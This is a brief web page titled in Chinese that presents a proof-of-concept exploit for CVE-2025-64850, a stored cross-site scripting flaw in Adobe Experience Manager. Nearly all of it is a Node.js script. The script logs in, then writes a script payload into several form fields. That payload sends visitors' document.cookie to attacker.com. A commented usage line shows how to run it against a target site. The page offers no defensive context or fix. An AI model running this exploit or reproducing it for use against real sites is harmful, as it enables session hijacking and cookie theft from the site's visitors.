CVE-2025-64850 Adobe Experience Manager存储型XSS漏洞

// CVE-2025-64850 Stored XSS PoC for Adobe Experience Manager // Author: Security Researcher // Target: Adobe Experience Manager <= 6.5.23 const axios = require('axios'); const qs = require('querystring'); async function exploitAEMXSS(baseUrl, username, password) { const session = axios.create({ baseURL: baseUrl }); // Step 1: Authenticate const loginData = { j_username: username, j_password: password }; await session.post('/libs/granite/core/content/login.html', qs.stringify(loginData)); // Step 2: Identify vulnerable form field // Common vulnerable endpoints in AEM forms const formEndpoint = '/content/forms/af/your-form/jcr:content/guideContainer.html'; // Step 3: Inject malicious XSS payload const xssPayload = '<script>fetch("https://attacker.com/log?c="+document.cookie)</script>'; const maliciousData = { './jcr:title': xssPayload, './text': xssPayload, './description': xssPayload }; try { await session.post(formEndpoint, qs.stringify(maliciousData), { headers: { 'Content-Type': 'application/x-www-form-urlencoded' } }); console.log('[+] XSS payload injected successfully'); console.log('[+] Payload will execute when users visit the affected page'); } catch (error) { console.error('[-] Exploitation failed:', error.message); } } // Usage // exploitAEMXSS('https://vulnerable-aem-site.com', 'attacker_user', 'password');